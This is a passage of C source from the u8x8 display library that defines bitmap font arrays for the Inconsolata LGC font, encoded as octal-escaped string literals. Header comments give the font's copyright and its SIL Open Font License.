"\376\376\0\0\0\77\177\377\300\300\200\200\200\300`\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0\1" "\1\1\0\0\0\0\0\0\0\0 x>\16\4\0\0\0\0\0\0\376\376\376\0\0\0\0\0\0\0\376" "\376\376\0\0\0\77\177\377\300\300\200\200\200\300`\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0\1" "\1\1\0\0\0\0\0\0`\70\34\16\36\70p \0\0\0\0\0\376\376\376\0\0\0\0\0\0\0\376" "\376\376\0\0\0\77\177\377\300\300\200\200\200\300`\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0\1" "\1\1\0\0\0\0\10\34\34\10\0\0\0\34\34\34\0\0\0\0\0\376\376\376\0\0\0\0\0\0\0\376" "\376\376\0\0\0\77\177\377\300\300\200\200\200\300`\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0\1" "\1\1\0\0\0\0\0\0\0\0\0\60<\36\16\0\0\0\0\0\0\6\36~\370\300\0\0\0\0\0\300" "\374>\16\0\0\0\0\0\3\17~\370\300\370\77\17\1\0\0\0 p```p\70\37\17\1\0\0" "\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\10\14\6\6\6\6\16\34" "\374\360\300\0\0\377\377\377\300\300\200\200\200\300\300\340\177\77\17\0\0\177\177\177\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\10\34\34\10\0\0\34\34\34\0\0\0\0\0\6\36\376\360\300\0\0\0\0\200\370" "~\16\0\0\0\0\0\0\3\17~\370\340|\37\3\0\0\0\0 p```\60\70\17\3\0\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--30-300-72-72-P-138-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 95/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inr21_2x4_r[6084] U8X8_FONT_SECTION("u8x8_font_inr21_2x4_r") = " ~\2\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\70\374\374\370\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\300\343\343\303\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\0\0\374\374\370\0\0\0\374\374\370\0\0\0\0\0\0\0\3\3\3\0\0\0\3\3" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\360\60\0\0\0\360\360\20\0\0\0\6\6\6\346\377\77\6\6\6\366\377" "\37\6\6\6\0\6\6\306\377\77\6\6\6\346\377\77\6\6\6\0\0\0\0\1\1\0\0\0\0\1\1\0" "\0\0\0\0\0\0\200\300\340p\60\374\374\374\60`\340@\0\0\0\0\7\17\37\70\60\377\377\377`\340" "\300\200\0\0\0\0\60p`\300\300\377\377\377\340p\177\77\6\0\0\0\0\0\0\0\0\3\3\3\0\0" "\0\0\0\0\300\340\360\60\60\360\340\300\0\0\0\300\360p\20\0\3\7\17\14\14\17\207\343\370>\17\3" "\0\0\0\0\0\0\300\360|\36\7\1|\376\377\203\203\377\376|\0\1\1\0\0\0\0\0\0\0\1\1" "\1\1\0\0\0\0\0\300\340\340p\60\60p\340\300\0\0\0\0\0\0\0\203\317\337x\360\360\234\37\17" "\1\0\200\0\0<\177\377\301\200\200\200\201\307\357~\70\374\357\307\0\0\0\0\1\1\1\1\1\0\0\0" "\0\0\1\0\0\0\0\0\0\0\0\374\374\370\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\340\360\60\70\34\10\0\0\0\0\0\0\360\376\377\7\1\0\0\0" "\0\0\0\0\0\0\0\0\17\177\377\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\36\34\70" "p \0\0\0\0\34\70\60p\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\37\376\370\200" "\0\0\0\0\0\0\0\0\0\0\0\200\360\377\77\3\0\0\0\0\0\0p\70\70\34\17\7\3\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0\0\0\0\30\30\30\60\60\240\377\377\240\60\60" "\30\30\30\0\0\0\10\34\36\7\3\0\0\3\7\36\14\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0``````\377\377\377``" "```\0\0\0\0\0\0\0\0\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0\60\71\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0``````````" "```\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\300\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\30\0\0\0\0\0\0\0\0\200\340\370>\17\3" "\0\0\0\0\0\0\200\340\370>\17\3\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\340p\60\60\60`\340\300\0\0\0\0\374\377\377\1\0\200\300`\70\34\7" "\377\377\370\0\0\7\37\177\376\347\303\200\200\300\300\360\177\37\7\0\0\0\0\0\0\0\1\1\1\1\0\0" "\0\0\0\0\0\0\200\300\300``\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\0\200\300\340`\60\60\60\60p\340\300\200\0\0\0\0\0\0\0\0\0\0\0\200\300\360" "\177\37\6\0\0\0\200\340\360\274\236\207\203\203\201\200\200\200\200\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0``p\60\60\60p\340\340\300\0\0\0\0\0\0\0\0````\360\370\337" "\217\2\0\0\0\0@\340\300\200\200\200\200\300\341\377\177\36\0\0\0\0\0\0\0\1\1\1\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\0\0\0\0\0\0\200\300p\70\16\7\1\377\377\377" "\0\0\0\0\0\6\7\7\6\6\6\6\6\377\377\377\6\6\6\0\0\0\0\0\0\0\0\0\0\1\1\1" "\0\0\0\0\0\0\0\360\360\360\60\60\60\60\60\60\60\60\0\0\0\0\0\177\177\77\30\30\30\30\70x" "\360\340\200\0\0\0``\340\300\200\200\200\200\300\340\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\300\340`p\60\60\60p``\0\0\0\0\374\377\377q\60\30\30\30\70x" "\360\340\200\0\0\0\17\77\177\340\300\200\200\200\300\340\377\177\37\0\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\60\60\60\60\60\60\60\60\260\360\360\60\0\0\0\0\0\0\0\0\0\200\360\374\77\7" "\1\0\0\0\0\0\0\0\200\360\374\77\7\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340p\60\60\60p\340\340\300\0\0\0\0\0\7\237\337xp `p\370\237" "\217\3\0\0\0>\177\377\340\300\200\200\200\200\300\341\177\77\10\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\300\340\340p\60\60\60p\340\300\200\0\0\0\0\37\177\377\340\300\200\200\200\300\300" "\377\377\376\0\0\0\0\300\300\301\201\201\201\301\300\360\177\37\7\0\0\0\0\0\0\1\1\1\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30<<\30\0\0" "\0\0\0\0\0\0\0\0\0\0\300\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30<<\30\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0\60\71\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\0`\360\360\270\230\34\14\16\6\7\3\3" "\1\1\0\0\0\0\0\1\3\3\7\6\16\14\30\70\60p`\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\14\14\14\14\14\14\14\14" "\14\14\14\0\0\6\6\6\6\6\6\6\6\6\6\6\6\6\6\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\6\16\14\34\230" "\270\360\360`\0`p\70\30\34\14\16\6\7\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 p\70\30\34\14\14\14\34\30\370\360\300\0\0\0\0\0\0\0\0\200\340\360x\34\37" "\17\3\0\0\0\0\0\0\0\0\303\343\343\300\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\200\300\340`p\60\60\60p`\340\300\0\0\374\377\377\3\0\360\370\374\16\6\6\6" "\377\377\377\0\3\37\77x\340\301\303\207\207\206\206\303\301\207\7\0\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\300\370\340\0\0\0\0\0\0\0\0\0\0\200\360~\17\1\7\77\374\340" "\0\0\0\0\200\360\376\37\7\6\6\6\6\6\7\17\77\374\340\200\1\1\0\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\360\360\360\60\60\60\60\60\60p\340\340\300\0\0\0\377\377\377``````\360\370" "\237\217\3\0\0\377\377\377\200\200\200\200\200\200\300\301\377\177>\0\0\1\1\1\1\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\200\300\340`p\60\60\60p`\340\300\200\0\374\377\377\3\0\0\0\0\0\0\0" "\0\0\1\1\0\7\37\77x\340\300\300\200\200\200\300\300\340` \0\0\0\0\0\0\0\1\1\1\1\1" "\0\0\0\0\0\360\360\360\60\60\60\60\60p\340\340\300\0\0\0\0\377\377\377\0\0\0\0\0\0\0\1" "\377\377\374\0\0\377\377\377\200\200\200\200\200\300\340p\77\37\7\0\0\1\1\1\1\1\1\1\1\1\0\0" "\0\0\0\0\0\360\360\360\60\60\60\60\60\60\60\60\60\60\0\0\0\377\377\377````````" "`\0\0\0\0\377\377\377\200\200\200\200\200\200\200\200\200\200\0\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0\360\360\360\60\60\60\60\60\60\60\60\60\60\0\0\0\377\377\377\60\60\60\60\60\60\60" "\60\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340`p\60\60\60p`\340\300\200\0\374\377\377\1\0\0\0\0\0\200\200" "\200\200\201\200\0\7\37\77x\340\300\300\200\200\201\201\301\377\377\177\0\0\0\0\0\0\0\1\1\1\1\1" "\1\0\0\0\0\360\360\360\0\0\0\0\0\0\0\0\360\360\360\0\0\377\377\377````````" "\377\377\377\0\0\377\377\377\0\0\0\0\0\0\0\0\377\377\377\0\0\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\0\0\0\60\60\60\60\360\360\360\60\60\60\60\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\200\200\200\200\377\377\377\200\200\200\200\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\0\60\60\60\60\360\360\360\60\60\60\0\0\0\0\0\0\0\0\0\0\377\377\377" "\0\0\0\0\0@\340\300\200\200\200\300\340\377\177\17\0\0\0\0\0\0\0\1\1\1\1\1\0\0\0\0" "\0\0\0\0\0\360\360\360\0\0\0\0\0\200\300\340p\60\20\0\0\377\377\377`p\370\336\217\3\1\0" "\0\0\0\0\0\377\377\377\0\0\0\3\7\17x\340\300\0\0" "\377\377\377\0\0\377\377\377\0\0\0\0\1\7\37|\377\377\377\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\1\1\0\0\0\300\300\340p\60\60\60\60p\340\300\200\0\0\374\377\377\1\0\0\0\0\0\0\0\0" "\3\377\377\360\7\37\77p\340\300\200\200\200\200\300\340x\77\37\1\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\360\360\360\60\60\60\60\60\60p\340\340\300\0\0\0\377\377\377\300\300\300\300\300\300\340`" "\177\77\37\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\340p\60\60\60pp\340\300\200\0\0\374\377\377\1\0\0\0\0\0\0\0\0" "\3\377\377\360\7\77\177\360\300\200\200\200\200\200\200\340\370\177\37\1\0\0\0\0\1\1\7\37\77\71\61\61" "\60\60\60\0\0\360\360\360\60\60\60\60\60\60p\340\340\300\0\0\0\377\377\377\300\300\300\300\300\300\340p" "\177\37\6\0\0\377\377\377\0\0\0\0\3\17\36|\360\300\0\0\0\1\1\1\0\0\0\0\0\0\0\0" "\1\1\1\0\0\0\200\300\340`p\60\60\60\60`\340\300\0\0\0\0\7\37\37\70\60p`\340\300\300" "\200\200\0\0\0@p\340\300\300\200\200\200\200\300\301\343\177\77\14\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\60\60\60\60\60\60\360\360\360\60\60\60\60\60\60\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\360\360\360\0\0\0\0\0\0\0\0\360\360\360\0\0\377\377\377\0\0\0\0\0\0\0\0" "\377\377\377\0\0\37\177\377\340\300\200\200\200\200\300\340\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\20\360\360\300\0\0\0\0\0\0\0\0\200\360\360\20\0\0\7\77\376\360\200\0\0\0\340\374" "\77\7\0\0\0\0\0\0\0\7\77\374\370\177\17\1\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\360\360\300\0\0\0\0\200\300\0\0\0\0\0\360\360\0\77\377\360\0\300\370\77\37\377\360\200" "\0\376\177\1\0\0\17\377\374\37\1\0\0\0\17\377\377\37\0\0\0\0\0\1\1\0\0\0\0\0\0\0" "\1\0\0\0\0\20p\360\300\0\0\0\0\0\0\300\360p\20\0\0\0\0\1\7\17\276\370\370\376\17\3" "\1\0\0\0\0\0\300\360|\37\7\3\3\7\37|\360\340\200\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\1\1\0\0\60\360\340\200\0\0\0\0\0\0\0\340\360p\0\0\0\0\3\17>\370\360\300\360|\37" "\7\1\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\0\60\60\60\60\60\60\60\60\60\260\360\360\60\0\0\0\0\0\0\0\200\340\360|\36\7" "\3\0\0\0\0\200\340\360\374\237\217\203\200\200\200\200\200\200\200\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0\0\374\374\374\14\14\14\14\14\14\14\0\0\0\0\0\0\377\377\377\0\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\14\14\14\14\14" "\14\14\0\0\0\0\30\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\370\340\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\3\17>\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\3\3\0\0\0\0\14\14\14\14\14\14\14\14\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\14\14\14\14\14\14\14\14\17\17" "\17\0\0\0\0\0\0\0\0\0\300\340\360\300\200\0\0\0\0\0\0\0\0\30\34\17\3\1\0\3\17>" "\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\14\14\14\14\14\14\14\14\14\14" "\14\14\14\0\0\0\0\0\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\17>x\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\14\216\206\206\206\206\216\214" "\374\370\340\0\0<\376\377\303\203\201\201\201\301\341q\377\377\377\0\0\0\0\0\1\1\1\1\1\0\0\0" "\1\1\1\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\10\14\6\6\6\16\16\34" "\374\360\300\0\0\377\377\177\300\300\200\200\200\300\300\340\177\77\17\0\0\1\1\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\34\14\16\6\6\6\6\16" "\34<\10\0\0\17\77\177\360\300\300\200\200\200\200\300\300\340@\0\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\340\370\374\34\16\6\6\6\6\14\30" "\377\377\377\0\0\17\77\377\340\300\200\200\200\200\300p\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\234\216\206\206\206\206\216\214" "\370\360\0\0\0\17\77\177\341\301\301\201\201\201\201\301\301A\0\0\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\200\360\370\70\34\14\14\14\34\30\70\0\0\14\14\14\377\377\377\14\14\14\14\14" "\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\374\34\16\6\6\6\16\34\370" "\374F\6\6\0\0s\177\377\316\314\314\314\316\307\307\303\200\200\0\0\34\77\77qp`````p" "\71\77\37\6\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\30\14\14\6\6\16\36" "\374\370\300\0\0\0\377\377\377\0\0\0\0\0\0\0\377\377\377\0\0\0\1\1\1\0\0\0\0\0\0\0" "\1\1\1\0\0\0\0\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\6\6\6\6\376\376\376\0\0" "\0\0\0\0\0\0\0\200\200\200\200\377\377\377\200\200\200\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\0\0\0\0\0\30<<\30\0\0\0\0\0\0\6\6\6\6\6\6\376\376\376" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\60\70p```p\60\77\37\7" "\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\200\300\300\340p\70\34" "\16\6\2\0\0\0\377\377\377\3\1\3\7\17\376\360\200\0\0\0\0\0\300" "\370>\6\0\0\0\0\0\7\37\376\360\340\374\37\7\1\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\376\376\200\0\0\200\370|\360\200\0" "\0\200\376~\0\0\37\377\360\370\77\3\0\7\77\374\300\377\17\0\0\0\0\1\1\1\0\0\0\0\0\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\6\36\16\0\0\0\0\0\3\17~\370\300\370\77\17\1\0\0\0 p```p\70\37\17\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\6\6\6\6\6\206\306\346v>" "\36\6\0\0\0\200\300\360\370\274\216\207\203\201\200\200\200\200\200\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0\0\0\200\340\340p\60\60\60\60\60\0\0\0\0\0\0\200\377\177\37\0\0\0\0" "\0\0\0\0\0\3\3\3\7\376\374\340\0\0\0\0\0\0\0\0\0\0\0\0\0\17\77\177p```" "``\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\0\0" "\0\0\0\0\0\0\0\60\60\60\60pp\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\177\377\376" "\200\0\0\0\0\0\0\0\0\0\0\0\0\370\374\377\7\3\3\3\0\0\0````px\77\37\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\34\14\6\6\6\14\34\70\60\60" "\70\34\14\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--30-300-72-72-P-138-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 18/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inr21_2x4_n[1732] U8X8_FONT_SECTION("u8x8_font_inr21_2x4_n") = " :\2\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60\60\60``@\377\377@``" "\60\60\60\0\0\0\20\70<\16\7\1\1\7\16<\30\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\377\377\377\300\300" "\300\300\300\0\0\0\0\0\0\0\0\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0as\37\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\60\0\0\0\0\0\0\0\0\0\300\360|\37\7" "\1\0\0\0\0\0\0\300\360|\37\7\1\0\0\0\0\0\0\0\0\0\7\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\300\340```\300\300\200\0\0\0\0\370\376\377\3\1\0\200\300p\70\17" "\377\376\360\0\0\17\77\377\374\316\207\1\0\200\200\340\377\77\17\0\0\0\0\0\1\1\3\3\3\3\1\1" "\0\0\0\0\0\0\0\200\200\300\300\340\340\340\0\0\0\0\0\0\0\0\1\1\1\0\0\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0" "\0\0\0\0\0\0\0\200\300\300````\340\300\200\0\0\0\0\0\1\1\1\0\0\0\0\0\200\341" "\377\77\14\0\0\0\0\300\340x<\16\6\7\3\1\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\3\3\3\0\0\0\0\300\300\340```\340\300\300\200\0\0\0\0\0\0\0\0\300\300\300\300\340\361\277" "\37\4\0\0\0\0\200\300\200\0\0\0\0\201\303\377\377<\0\0\0\0\0\1\1\3\3\3\3\3\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\0\0\0\0\0\0\0\200\340p\34\16\3\377\377\377" "\0\0\0\0\0\14\17\17\14\14\14\14\14\377\377\377\14\14\14\0\0\0\0\0\0\0\0\0\0\3\3\3" "\0\0\0\0\0\0\0\340\340\340````````\0\0\0\0\0\377\377\177\60\60\60\60p\360" "\340\300\0\0\0\0\300\300\300\200\0\0\0\0\200\300\377\377\77\0\0\0\0\0\1\3\3\3\3\3\3\1" "\1\0\0\0\0\0\0\0\200\300\300\340```\340\300\300\0\0\0\0\370\376\377\343`\60\60\60p\360" "\340\300\0\0\0\0\37\177\377\300\200\0\0\0\200\300\377\377\77\0\0\0\0\0\0\1\3\3\3\3\3\1" "\1\0\0\0\0\0`````````\340\340`\0\0\0\0\0\0\0\0\0\0\340\370\177\17" 